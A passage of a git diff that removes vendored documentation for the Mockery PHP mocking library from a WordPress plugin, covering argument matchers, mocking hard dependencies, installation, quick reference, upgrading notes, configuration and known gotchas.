complex argument matching for an expected method call, -the ``\Mockery::on()`` matcher comes in really handy. It accepts a closure as an -argument and that closure in turn receives the argument passed in to the method, -when called. If the closure returns ``true``, Mockery will consider that the -argument has passed the expectation. If the closure returns ``false``, or a -"falsey" value, the expectation will not pass. - -The ``\Mockery::on()`` matcher can be used in various scenarios — validating -an array argument based on multiple keys and values, complex string matching... - -Say, for example, we have the following code. It doesn't do much; publishes a -post by setting the ``published`` flag in the database to ``1`` and sets the -``published_at`` to the current date and time: - -.. code-block:: php - - model = $model; - } - - public function publishPost($id) - { - $saveData = [ - 'post_id' => $id, - 'published' => 1, - 'published_at' => gmdate('Y-m-d H:i:s'), - ]; - $this->model->save($saveData); - } - } - -In a test we would mock the model and set some expectations on the call of the -``save()`` method: - -.. code-block:: php - - shouldReceive('save') - ->once() - ->with(\Mockery::on(function ($argument) use ($postId) { - $postIdIsSet = isset($argument['post_id']) && $argument['post_id'] === $postId; - $publishedFlagIsSet = isset($argument['published']) && $argument['published'] === 1; - $publishedAtIsSet = isset($argument['published_at']); - - return $postIdIsSet && $publishedFlagIsSet && $publishedAtIsSet; - })); - - $service = new \Service\Post($modelMock); - $service->publishPost($postId); - - \Mockery::close(); - -The important part of the example is inside the closure we pass to the -``\Mockery::on()`` matcher. The ``$argument`` is actually the ``$saveData`` argument -the ``save()`` method gets when it is called. We check for a couple of things in -this argument: - -* the post ID is set, and is same as the post ID we passed in to the - ``publishPost()`` method, -* the ``published`` flag is set, and is ``1``, and -* the ``published_at`` key is present. - -If any of these requirements is not satisfied, the closure will return ``false``, -the method call expectation will not be met, and Mockery will throw a -``NoMatchingExpectationException``. - -.. note:: - - This cookbook entry is an adaption of the blog post titled - `"Complex argument matching in Mockery" `_, - published by Robert Basic on his blog. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_class_within_class.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_class_within_class.rst deleted file mode 100644 index 51f030b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_class_within_class.rst +++ /dev/null @@ -1,146 +0,0 @@ -.. index:: - single: Cookbook; Mocking class within class - -.. _mocking-class-within-class: - -Mocking class within class -========================== - -Imagine a case where you need to create an instance of a class and use it -within the same method: - -.. code-block:: php - - // Point.php - setPoint($x1, $y1); - - $b = new Point(); - $b->setPoint($x2, $y1); - - $c = new Point(); - $c->setPoint($x2, $y2); - - $d = new Point(); - $d->setPoint($x1, $y2); - - $this->draw([$a, $b, $c, $d]); - } - - public function draw($points) { - echo "Do something with the points"; - } - } - -And that you want to test that a logic in ``Rectangle->create()`` calls -properly each used thing - in this case calls ``Point->setPoint()``, but -``Rectangle->draw()`` does some graphical stuff that you want to avoid calling. - -You set the mocks for ``App\Point`` and ``App\Rectangle``: - -.. code-block:: php - - shouldReceive("setPoint")->andThrow(Exception::class); - - $rect = Mockery::mock("App\Rectangle")->makePartial(); - $rect->shouldReceive("draw"); - - $rect->create(0, 0, 100, 100); // does not throw exception - Mockery::close(); - } - } - -and the test does not work. Why? The mocking relies on the class not being -present yet, but the class is autoloaded therefore the mock alone for -``App\Point`` is useless which you can see with ``echo`` being executed. - -Mocks however work for the first class in the order of loading i.e. -``App\Rectangle``, which loads the ``App\Point`` class. In more complex example -that would be a single point that initiates the whole loading (``use Class``) -such as:: - - A // main loading initiator - |- B // another loading initiator - | |-E - | +-G - | - |- C // another loading initiator - | +-F - | - +- D - -That basically means that the loading prevents mocking and for each such -a loading initiator there needs to be implemented a workaround. -Overloading is one approach, however it pollutes the global state. In this case -we try to completely avoid the global state pollution with custom -``new Class()`` behavior per loading initiator and that can be mocked easily -in few critical places. - -That being said, although we can't stop loading, we can return mocks. Let's -look at ``Rectangle->create()`` method: - -.. code-block:: php - - class Rectangle { - public function newPoint() { - return new Point(); - } - - public function create($x1, $y1, $x2, $y2) { - $a = $this->newPoint(); - $a->setPoint($x1, $y1); - ... - } - ... - } - -We create a custom function to encapsulate ``new`` keyword that would otherwise -just use the autoloaded class ``App\Point`` and in our test we mock that function -so that it returns our mock: - -.. code-block:: php - - shouldReceive("setPoint")->andThrow(Exception::class); - - $rect = Mockery::mock("App\Rectangle")->makePartial(); - $rect->shouldReceive("draw"); - - // pass the App\Point mock into App\Rectangle as an alternative - // to using new App\Point() in-place. - $rect->shouldReceive("newPoint")->andReturn($point); - - $this->expectException(Exception::class); - $rect->create(0, 0, 100, 100); - Mockery::close(); - } - } - -If we run this test now, it should pass. For more complex cases we'd find -the next loader in the program flow and proceed with wrapping and passing -mock instances with predefined behavior into already existing classes. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_hard_dependencies.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_hard_dependencies.rst deleted file mode 100644 index 3391d7b3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_hard_dependencies.rst +++ /dev/null @@ -1,137 +0,0 @@ -.. index:: - single: Cookbook; Mocking Hard Dependencies - -Mocking Hard Dependencies (new Keyword) -======================================= - -One prerequisite to mock hard dependencies is that the code we are trying to test uses autoloading. - -Let's take the following code for an example: - -.. code-block:: php - - sendSomething($param); - return $externalService->getSomething(); - } - } - -The way we can test this without doing any changes to the code itself is by creating :doc:`instance mocks ` by using the ``overload`` prefix. - -.. code-block:: php - - shouldReceive('sendSomething') - ->once() - ->with($param); - $externalMock->shouldReceive('getSomething') - ->once() - ->andReturn('Tested!'); - - $service = new \App\Service(); - - $result = $service->callExternalService($param); - - $this->assertSame('Tested!', $result); - } - } - -If we run this test now, it should pass. Mockery does its job and our ``App\Service`` will use the mocked external service instead of the real one. - -The problem with this is when we want to, for example, test the ``App\Service\External`` itself, or if we use that class somewhere else in our tests. - -When Mockery overloads a class, because of how PHP works with files, that overloaded class file must not be included otherwise Mockery will throw a "class already exists" exception. This is where autoloading kicks in and makes our job a lot easier. - -To make this possible, we'll tell PHPUnit to run the tests that have overloaded classes in separate processes and to not preserve global state. That way we'll avoid having the overloaded class included more than once. Of course this has its downsides as these tests will run slower. - -Our test example from above now becomes: - -.. code-block:: php - - shouldReceive('sendSomething') - ->once() - ->with($param); - $externalMock->shouldReceive('getSomething') - ->once() - ->andReturn('Tested!'); - - $service = new \App\Service(); - - $result = $service->callExternalService($param); - - $this->assertSame('Tested!', $result); - } - } - - - -Testing the constructor arguments of hard Dependencies ------------------------------------------------------- - -Sometimes we might want to ensure that the hard dependency is instantiated with -particular arguments. With overloaded mocks, we can set up expectations on the -constructor. - -.. code-block:: php - - allows('sendSomething'); - $externalMock->shouldReceive('__construct') - ->once() - ->with(5); - - $service = new \App\Service(); - $result = $service->callExternalService($param); - } - } - - -.. note:: - For more straightforward and single-process tests oriented way check - :ref:`mocking-class-within-class`. - -.. note:: - - This cookbook entry is an adaption of the blog post titled - `"Mocking hard dependencies with Mockery" `_, - published by Robert Basic on his blog. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/not_calling_the_constructor.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/not_calling_the_constructor.rst deleted file mode 100644 index b8157ae3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/not_calling_the_constructor.rst +++ /dev/null @@ -1,63 +0,0 @@ -.. index:: - single: Cookbook; Not Calling the Original Constructor - -Not Calling the Original Constructor -==================================== - -When creating generated partial test doubles, Mockery mocks out only the method -which we specifically told it to. This means that the original constructor of -the class we are mocking will be called. - -In some cases this is not a desired behavior, as the constructor might issue -calls to other methods, or other object collaborators, and as such, can create -undesired side-effects in the application's environment when running the tests. - -If this happens, we need to use runtime partial test doubles, as they don't -call the original constructor. - -.. code-block:: php - - class MyClass - { - public function __construct() - { - echo "Original constructor called." . PHP_EOL; - // Other side-effects can happen... - } - } - - // This will print "Original constructor called." - $mock = \Mockery::mock('MyClass[foo]'); - -A better approach is to use runtime partial doubles: - -.. code-block:: php - - class MyClass - { - public function __construct() - { - echo "Original constructor called." . PHP_EOL; - // Other side-effects can happen... - } - } - - // This will not print anything - $mock = \Mockery::mock('MyClass')->makePartial(); - $mock->shouldReceive('foo'); - -This is one of the reason why we don't recommend using generated partial test -doubles, but if possible, always use the runtime partials. - -Read more about :ref:`creating-test-doubles-partial-test-doubles`. - -.. note:: - - The way generated partial test doubles work, is a BC break. If you use a - really old version of Mockery, it might behave in a way that the constructor - is not being called for these generated partials. In the case if you upgrade - to a more recent version of Mockery, you'll probably have to change your - tests to use runtime partials, instead of generated ones. - - This change was introduced in early 2013, so it is highly unlikely that you - are using a Mockery from before that, so this should not be an issue. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/index.rst deleted file mode 100644 index 434755c8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/index.rst +++ /dev/null @@ -1,12 +0,0 @@ -Getting Started -=============== - -.. toctree:: - :hidden: - - installation - upgrading - simple_example - quick_reference - -.. include:: map.rst.inc diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/installation.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/installation.rst deleted file mode 100644 index f578adc9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/installation.rst +++ /dev/null @@ -1,49 +0,0 @@ -.. index:: - single: Installation - -Installation -============ - -Mockery can be installed using Composer or by cloning it from its GitHub -repository. These two options are outlined below. - -Composer --------- - -You can read more about Composer on `getcomposer.org `_. -To install Mockery using Composer, first install Composer for your project -using the instructions on the `Composer download page `_. -You can then define your development dependency on Mockery using the suggested -parameters below. While every effort is made to keep the master branch stable, -you may prefer to use the current stable version tag instead (use the -``@stable`` tag). - -.. code-block:: json - - { - "require-dev": { - "mockery/mockery": "dev-master" - } - } - -To install, you then may call: - -.. code-block:: bash - - php composer.phar update - -This will install Mockery as a development dependency, meaning it won't be -installed when using ``php composer.phar update --no-dev`` in production. - -Other way to install is directly from composer command line, as below. - -.. code-block:: bash - - php composer.phar require --dev mockery/mockery - -Git ---- - -The Git repository hosts the development version in its master branch. You can -install this using Composer by referencing ``dev-master`` as your preferred -version in your project's ``composer.json`` file as the earlier example shows. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/map.rst.inc b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/map.rst.inc deleted file mode 100644 index 1055945b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/map.rst.inc +++ /dev/null @@ -1,4 +0,0 @@ -* :doc:`/getting_started/installation` -* :doc:`/getting_started/upgrading` -* :doc:`/getting_started/simple_example` -* :doc:`/getting_started/quick_reference` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/quick_reference.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/quick_reference.rst deleted file mode 100644 index e729a850..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/quick_reference.rst +++ /dev/null @@ -1,200 +0,0 @@ -.. index:: - single: Quick Reference - -Quick Reference -=============== - -The purpose of this page is to give a quick and short overview of some of the -most common Mockery features. - -Do read the :doc:`../reference/index` to learn about all the Mockery features. - -Integrate Mockery with PHPUnit, either by extending the ``MockeryTestCase``: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class MyTest extends MockeryTestCase - { - } - -or by using the ``MockeryPHPUnitIntegration`` trait: - -.. code-block:: php - - use \PHPUnit\Framework\TestCase; - use \Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration; - - class MyTest extends TestCase - { - use MockeryPHPUnitIntegration; - } - -Creating a test double: - -.. code-block:: php - - $testDouble = \Mockery::mock('MyClass'); - -Creating a test double that implements a certain interface: - -.. code-block:: php - - $testDouble = \Mockery::mock('MyClass, MyInterface'); - -Expecting a method to be called on a test double: - -.. code-block:: php - - $testDouble = \Mockery::mock('MyClass'); - $testDouble->shouldReceive('foo'); - -Expecting a method to **not** be called on a test double: - -.. code-block:: php - - $testDouble = \Mockery::mock('MyClass'); - $testDouble->shouldNotReceive('foo'); - -Expecting a method to be called on a test double, once, with a certain argument, -and to return a value: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->once() - ->with($arg) - ->andReturn($returnValue); - -Expecting a method to be called on a test double and to return a different value -for each successive call: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass'); - $mock->shouldReceive('foo') - ->andReturn(1, 2, 3); - - $mock->foo(); // int(1); - $mock->foo(); // int(2); - $mock->foo(); // int(3); - $mock->foo(); // int(3); - -Creating a runtime partial test double: - -.. code-block:: php - - $mock = \Mockery::mock('MyClass')->makePartial(); - -Creating a spy: - -.. code-block:: php - - $spy = \Mockery::spy('MyClass'); - -Expecting that a spy should have received a method call: - -.. code-block:: php - - $spy = \Mockery::spy('MyClass'); - - $spy->foo(); - - $spy->shouldHaveReceived()->foo(); - -Not so simple examples -^^^^^^^^^^^^^^^^^^^^^^ - -Creating a mock object to return a sequence of values from a set of method -calls: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class SimpleTest extends MockeryTestCase - { - public function testSimpleMock() - { - $mock = \Mockery::mock(array('pi' => 3.1416, 'e' => 2.71)); - $this->assertEquals(3.1416, $mock->pi()); - $this->assertEquals(2.71, $mock->e()); - } - } - -Creating a mock object which returns a self-chaining Undefined object for a -method call: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class UndefinedTest extends MockeryTestCase - { - public function testUndefinedValues() - { - $mock = \Mockery::mock('mymock'); - $mock->shouldReceive('divideBy')->with(0)->andReturnUndefined(); - $this->assertTrue($mock->divideBy(0) instanceof \Mockery\Undefined); - } - } - -Creating a mock object with multiple query calls and a single update call: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class DbTest extends MockeryTestCase - { - public function testDbAdapter() - { - $mock = \Mockery::mock('db'); - $mock->shouldReceive('query')->andReturn(1, 2, 3); - $mock->shouldReceive('update')->with(5)->andReturn(NULL)->once(); - - // ... test code here using the mock - } - } - -Expecting all queries to be executed before any updates: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class DbTest extends MockeryTestCase - { - public function testQueryAndUpdateOrder() - { - $mock = \Mockery::mock('db'); - $mock->shouldReceive('query')->andReturn(1, 2, 3)->ordered(); - $mock->shouldReceive('update')->andReturn(NULL)->once()->ordered(); - - // ... test code here using the mock - } - } - -Creating a mock object where all queries occur after startup, but before finish, -and where queries are expected with several different params: - -.. code-block:: php - - use \Mockery\Adapter\Phpunit\MockeryTestCase; - - class DbTest extends MockeryTestCase - { - public function testOrderedQueries() - { - $db = \Mockery::mock('db'); - $db->shouldReceive('startup')->once()->ordered(); - $db->shouldReceive('query')->with('CPWR')->andReturn(12.3)->once()->ordered('queries'); - $db->shouldReceive('query')->with('MSFT')->andReturn(10.0)->once()->ordered('queries'); - $db->shouldReceive('query')->with(\Mockery::pattern("/^....$/"))->andReturn(3.3)->atLeast()->once()->ordered('queries'); - $db->shouldReceive('finish')->once()->ordered(); - - // ... test code here using the mock - } - } diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/simple_example.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/simple_example.rst deleted file mode 100644 index 32ee2691..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/simple_example.rst +++ /dev/null @@ -1,70 +0,0 @@ -.. index:: - single: Getting Started; Simple Example - -Simple Example -============== - -Imagine we have a ``Temperature`` class which samples the temperature of a -locale before reporting an average temperature. The data could come from a web -service or any other data source, but we do not have such a class at present. -We can, however, assume some basic interactions with such a class based on its -interaction with the ``Temperature`` class: - -.. code-block:: php - - class Temperature - { - private $service; - - public function __construct($service) - { - $this->service = $service; - } - - public function average() - { - $total = 0; - for ($i=0; $i<3; $i++) { - $total += $this->service->readTemp(); - } - return $total/3; - } - } - -Even without an actual service class, we can see how we expect it to operate. -When writing a test for the ``Temperature`` class, we can now substitute a -mock object for the real service which allows us to test the behaviour of the -``Temperature`` class without actually needing a concrete service instance. - -.. code-block:: php - - use \Mockery; - - class TemperatureTest extends \PHPUnit\Framework\TestCase - { - public function tearDown() - { - Mockery::close(); - } - - public function testGetsAverageTemperatureFromThreeServiceReadings() - { - $service = Mockery::mock('service'); - $service->shouldReceive('readTemp') - ->times(3) - ->andReturn(10, 12, 14); - - $temperature = new Temperature($service); - - $this->assertEquals(12, $temperature->average()); - } - } - -We create a mock object which our ``Temperature`` class will use and set some -expectations for that mock — that it should receive three calls to the ``readTemp`` -method, and these calls will return 10, 12, and 14 as results. - -.. note:: - - PHPUnit integration can remove the need for a ``tearDown()`` method. See - ":doc:`/reference/phpunit_integration`" for more information. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/upgrading.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/upgrading.rst deleted file mode 100644 index 8a17dfda..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/upgrading.rst +++ /dev/null @@ -1,82 +0,0 @@ -.. index:: - single: Upgrading - -Upgrading -========= - -Upgrading to 1.0.0 ------------------- - -Minimum PHP version -+++++++++++++++++++ - -As of Mockery 1.0.0 the minimum PHP version required is 5.6. - -Using Mockery with PHPUnit -++++++++++++++++++++++++++ - -In the "old days", 0.9.x and older, the way Mockery was integrated with PHPUnit was -through a PHPUnit listener. That listener would in turn call the ``\Mockery::close()`` -method for us. - -As of 1.0.0, PHPUnit test cases where we want to use Mockery, should either use the -``\Mockery\Adapter\Phpunit\MockeryPHPUnitIntegration`` trait, or extend the -``\Mockery\Adapter\Phpunit\MockeryTestCase`` test case. This will in turn call the -``\Mockery::close()`` method for us. - -Read the documentation for a detailed overview of ":doc:`/reference/phpunit_integration`". - -``\Mockery\Matcher\MustBe`` is deprecated -+++++++++++++++++++++++++++++++++++++++++ - -As of 1.0.0 the ``\Mockery\Matcher\MustBe`` matcher is deprecated and will be removed in -Mockery 2.0.0. We recommend instead to use the PHPUnit equivalents of the -MustBe matcher. - -``allows`` and ``expects`` -++++++++++++++++++++++++++ - -As of 1.0.0, Mockery has two new methods to set up expectations: ``allows`` and ``expects``. -This means that these methods names are now "reserved" for Mockery, or in other words -classes you want to mock with Mockery, can't have methods called ``allows`` or ``expects``. - -Read more in the documentation about this ":doc:`/reference/alternative_should_receive_syntax`". - -No more implicit regex matching for string arguments -++++++++++++++++++++++++++++++++++++++++++++++++++++ - -When setting up string arguments in method expectations, Mockery 0.9.x and older, would try -to match arguments using a regular expression in a "last attempt" scenario. - -As of 1.0.0, Mockery will no longer attempt to do this regex matching, but will only try -first the identical operator ``===``, and failing that, the equals operator ``==``. - -If you want to match an argument using regular expressions, please use the new -``\Mockery\Matcher\Pattern`` matcher. Read more in the documentation about this -pattern matcher in the ":doc:`/reference/argument_validation`" section. - -``andThrow`` ``\Throwable`` -+++++++++++++++++++++++++++ - -As of 1.0.0, the ``andThrow`` can now throw any ``\Throwable``. - -Upgrading to 0.9 ----------------- - -The generator was completely rewritten, so any code with a deep integration to -mockery will need evaluating. - -Upgrading to 0.8 ----------------- - -Since the release of 0.8.0 the following behaviours were altered: - -1. The ``shouldIgnoreMissing()`` behaviour optionally applied to mock objects - returned an instance of ``\Mockery\Undefined`` when methods called did not - match a known expectation. Since 0.8.0, this behaviour was switched to - returning ``null`` instead. You can restore the 0.7.2 behaviour by using the - following: - - .. code-block:: php - - $mock = \Mockery::mock('stdClass')->shouldIgnoreMissing()->asUndefined(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/index.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/index.rst deleted file mode 100644 index f8cbbd32..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/index.rst +++ /dev/null @@ -1,76 +0,0 @@ -Mockery -======= - -Mockery is a simple yet flexible PHP mock object framework for use in unit -testing with PHPUnit, PHPSpec or any other testing framework. Its core goal is -to offer a test double framework with a succinct API capable of clearly -defining all possible object operations and interactions using a human -readable Domain Specific Language (DSL). Designed as a drop in alternative to -PHPUnit's phpunit-mock-objects library, Mockery is easy to integrate with -PHPUnit and can operate alongside phpunit-mock-objects without the World -ending. - -Mock Objects ------------- - -In unit tests, mock objects simulate the behaviour of real objects. They are -commonly utilised to offer test isolation, to stand in for objects which do -not yet exist, or to allow for the exploratory design of class APIs without -requiring actual implementation up front. - -The benefits of a mock object framework are to allow for the flexible -generation of such mock objects (and stubs). They allow the setting of -expected method calls and return values using a flexible API which is capable -of capturing every possible real object behaviour in way that is stated as -close as possible to a natural language description. - -Getting Started ---------------- - -Ready to dive into the Mockery framework? Then you can get started by reading -the "Getting Started" section! - -.. toctree:: - :hidden: - - getting_started/index - -.. include:: getting_started/map.rst.inc - -Reference ---------- - -The reference contains a complete overview of all features of the Mockery -framework. - -.. toctree:: - :hidden: - - reference/index - -.. include:: reference/map.rst.inc - -Mockery -------- - -Learn about Mockery's configuration, reserved method names, exceptions... - -.. toctree:: - :hidden: - - mockery/index - -.. include:: mockery/map.rst.inc - -Cookbook --------- - -Want to learn some easy tips and tricks? Take a look at the cookbook articles! - -.. toctree:: - :hidden: - - cookbook/index - -.. include:: cookbook/map.rst.inc - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/configuration.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/configuration.rst deleted file mode 100644 index 00713367..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/configuration.rst +++ /dev/null @@ -1,94 +0,0 @@ -.. index:: - single: Mockery; Configuration - -Mockery Global Configuration -============================ - -To allow for a degree of fine-tuning, Mockery utilises a singleton -configuration object to store a small subset of core behaviours. The three -currently present include: - -* Option to allow/disallow the mocking of methods which do not actually exist - fulfilled (i.e. unused) -* Setter/Getter for added a parameter map for internal PHP class methods - (``Reflection`` cannot detect these automatically) -* Option to drive if quick definitions should define a stub or a mock with - an 'at least once' expectation. - -By default, the first behaviour is enabled. Of course, there are -situations where this can lead to unintended consequences. The mocking of -non-existent methods may allow mocks based on real classes/objects to fall out -of sync with the actual implementations, especially when some degree of -integration testing (testing of object wiring) is not being performed. - -You may allow or disallow this behaviour (whether for whole test suites or -just select tests) by using the following call: - -.. code-block:: php - - \Mockery::getConfiguration()->allowMockingNonExistentMethods(bool); - -Passing a true allows the behaviour, false disallows it. It takes effect -immediately until switched back. If the behaviour is detected when not allowed, -it will result in an Exception being thrown at that point. Note that disallowing -this behaviour should be carefully considered since it necessarily removes at -least some of Mockery's flexibility. - -The other two methods are: - -.. code-block:: php - - \Mockery::getConfiguration()->setInternalClassMethodParamMap($class, $method, array $paramMap) - \Mockery::getConfiguration()->getInternalClassMethodParamMap($class, $method) - -These are used to define parameters (i.e. the signature string of each) for the -methods of internal PHP classes (e.g. SPL, or PECL extension classes like -ext/mongo's MongoCollection. Reflection cannot analyse the parameters of internal -classes. Most of the time, you never need to do this. It's mainly needed where an -internal class method uses pass-by-reference for a parameter - you MUST in such -cases ensure the parameter signature includes the ``&`` symbol correctly as Mockery -won't correctly add it automatically for internal classes. Note that internal class -parameter overriding is not available in PHP 8. This is because incompatible -signatures have been reclassified as fatal errors. - -Finally there is the possibility to change what a quick definition produces. -By default quick definitions create stubs but you can change this behaviour -by asking Mockery to use 'at least once' expectations. - -.. code-block:: php - - \Mockery::getConfiguration()->getQuickDefinitions()->shouldBeCalledAtLeastOnce(bool) - -Passing a true allows the behaviour, false disallows it. It takes effect -immediately until switched back. By doing so you can avoid the proliferating of -quick definitions that accumulate overtime in your code since the test would -fail in case the 'at least once' expectation is not fulfilled. - -Disabling reflection caching ----------------------------- - -Mockery heavily uses `"reflection" `_ -to do it's job. To speed up things, Mockery caches internally the information it -gathers via reflection. In some cases, this caching can cause problems. - -The **only** known situation when this occurs is when PHPUnit's ``--static-backup`` option -is used. If you use ``--static-backup`` and you get an error that looks like the -following: - -.. code-block:: php - - Error: Internal error: Failed to retrieve the reflection object - -We suggest turning off the reflection cache as so: - -.. code-block:: php - - \Mockery::getConfiguration()->disableReflectionCache(); - -Turning it back on can be done like so: - -.. code-block:: php - - \Mockery::getConfiguration()->enableReflectionCache(); - -In no other situation should you be required turn this reflection cache off. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/exceptions.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/exceptions.rst deleted file mode 100644 index 623b158e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/exceptions.rst +++ /dev/null @@ -1,65 +0,0 @@ -.. index:: - single: Mockery; Exceptions - -Mockery Exceptions -================== - -Mockery throws three types of exceptions when it cannot verify a mock object. - -#. ``\Mockery\Exception\InvalidCountException`` -#. ``\Mockery\Exception\InvalidOrderException`` -#. ``\Mockery\Exception\NoMatchingExpectationException`` - -You can capture any of these exceptions in a try...catch block to query them -for specific information which is also passed along in the exception message -but is provided separately from getters should they be useful when logging or -reformatting output. - -\Mockery\Exception\InvalidCountException ----------------------------------------- - -The exception class is used when a method is called too many (or too few) -times and offers the following methods: - -* ``getMock()`` - return actual mock object -* ``getMockName()`` - return the name of the mock object -* ``getMethodName()`` - return the name of the method the failing expectation - is attached to -* ``getExpectedCount()`` - return expected calls -* ``getExpectedCountComparative()`` - returns a string, e.g. ``<=`` used to - compare to actual count -* ``getActualCount()`` - return actual calls made with given argument - constraints - -\Mockery\Exception\InvalidOrderException ----------------------------------------- - -The exception class is used when a method is called outside the expected order -set using the ``ordered()`` and ``globally()`` expectation modifiers. It -offers the following methods: - -* ``getMock()`` - return actual mock object -* ``getMockName()`` - return the name of the mock object -* ``getMethodName()`` - return the name of the method the failing expectation - is attached to -* ``getExpectedOrder()`` - returns an integer represented the expected index - for which this call was expected -* ``getActualOrder()`` - return the actual index at which this method call - occurred. - -\Mockery\Exception\NoMatchingExpectationException -------------------------------------------------- - -The exception class is used when a method call does not match any known -expectation. All expectations are uniquely identified in a mock object by the -method name and the list of expected arguments. You can disable this exception -and opt for returning NULL from all unexpected method calls by using the -earlier mentioned shouldIgnoreMissing() behaviour modifier. This exception -class offers the following methods: - -* ``getMock()`` - return actual mock object -* ``getMockName()`` - return the name of the mock object -* ``getMethodName()`` - return the name of the method the failing expectation - is attached to -* ``getActualArguments()`` - return actual arguments used to search for a - matching expectation diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/gotchas.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/gotchas.rst deleted file mode 100644 index 92c566dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/gotchas.rst +++ /dev/null @@ -1,44 +0,0 @@ -.. index:: - single: Mockery; Gotchas - -Gotchas! -======== - -Mocking objects in PHP has its limitations and gotchas. Some functionality -can't be mocked or can't be mocked YET! If you locate such a circumstance, -please please (pretty please with sugar on top) create a new issue on GitHub -so it can be documented and resolved where possible. Here is a list to note: - -1. Classes containing public ``__wakeup()`` methods can be mocked but the - mocked ``__wakeup()`` method will perform no actions and cannot have - expectations set for it. This is necessary since Mockery must serialize and - unserialize objects to avoid some ``__construct()`` insanity and attempting - to mock a ``__wakeup()`` method as normal leads to a - ``BadMethodCallException`` being thrown. - -2. Mockery has two scenarios where real classes are replaced: Instance mocks - and alias mocks. Both will generate PHP fatal errors if the real class is - loaded, usually via a require or include statement. Only use these two mock - types where autoloading is in place and where classes are not explicitly - loaded on a per-file basis using ``require()``, ``require_once()``, etc. - -3. Internal PHP classes are not entirely capable of being fully analysed using - ``Reflection``. For example, ``Reflection`` cannot reveal details of - expected parameters to the methods of such internal classes. As a result, - there will be problems where a method parameter is defined to accept a - value by reference (Mockery cannot detect this condition and will assume a - pass by value on scalars and arrays). If references as internal class - method parameters are needed, you should use the - ``\Mockery\Configuration::setInternalClassMethodParamMap()`` method. - Note, however that internal class parameter overriding is not available in - PHP 8 since incompatible signatures have been reclassified as fatal errors. - -4. Creating a mock implementing a certain interface with incorrect case in the - interface name, and then creating a second mock implementing the same - interface, but this time with the correct case, will have undefined behavior - due to PHP's 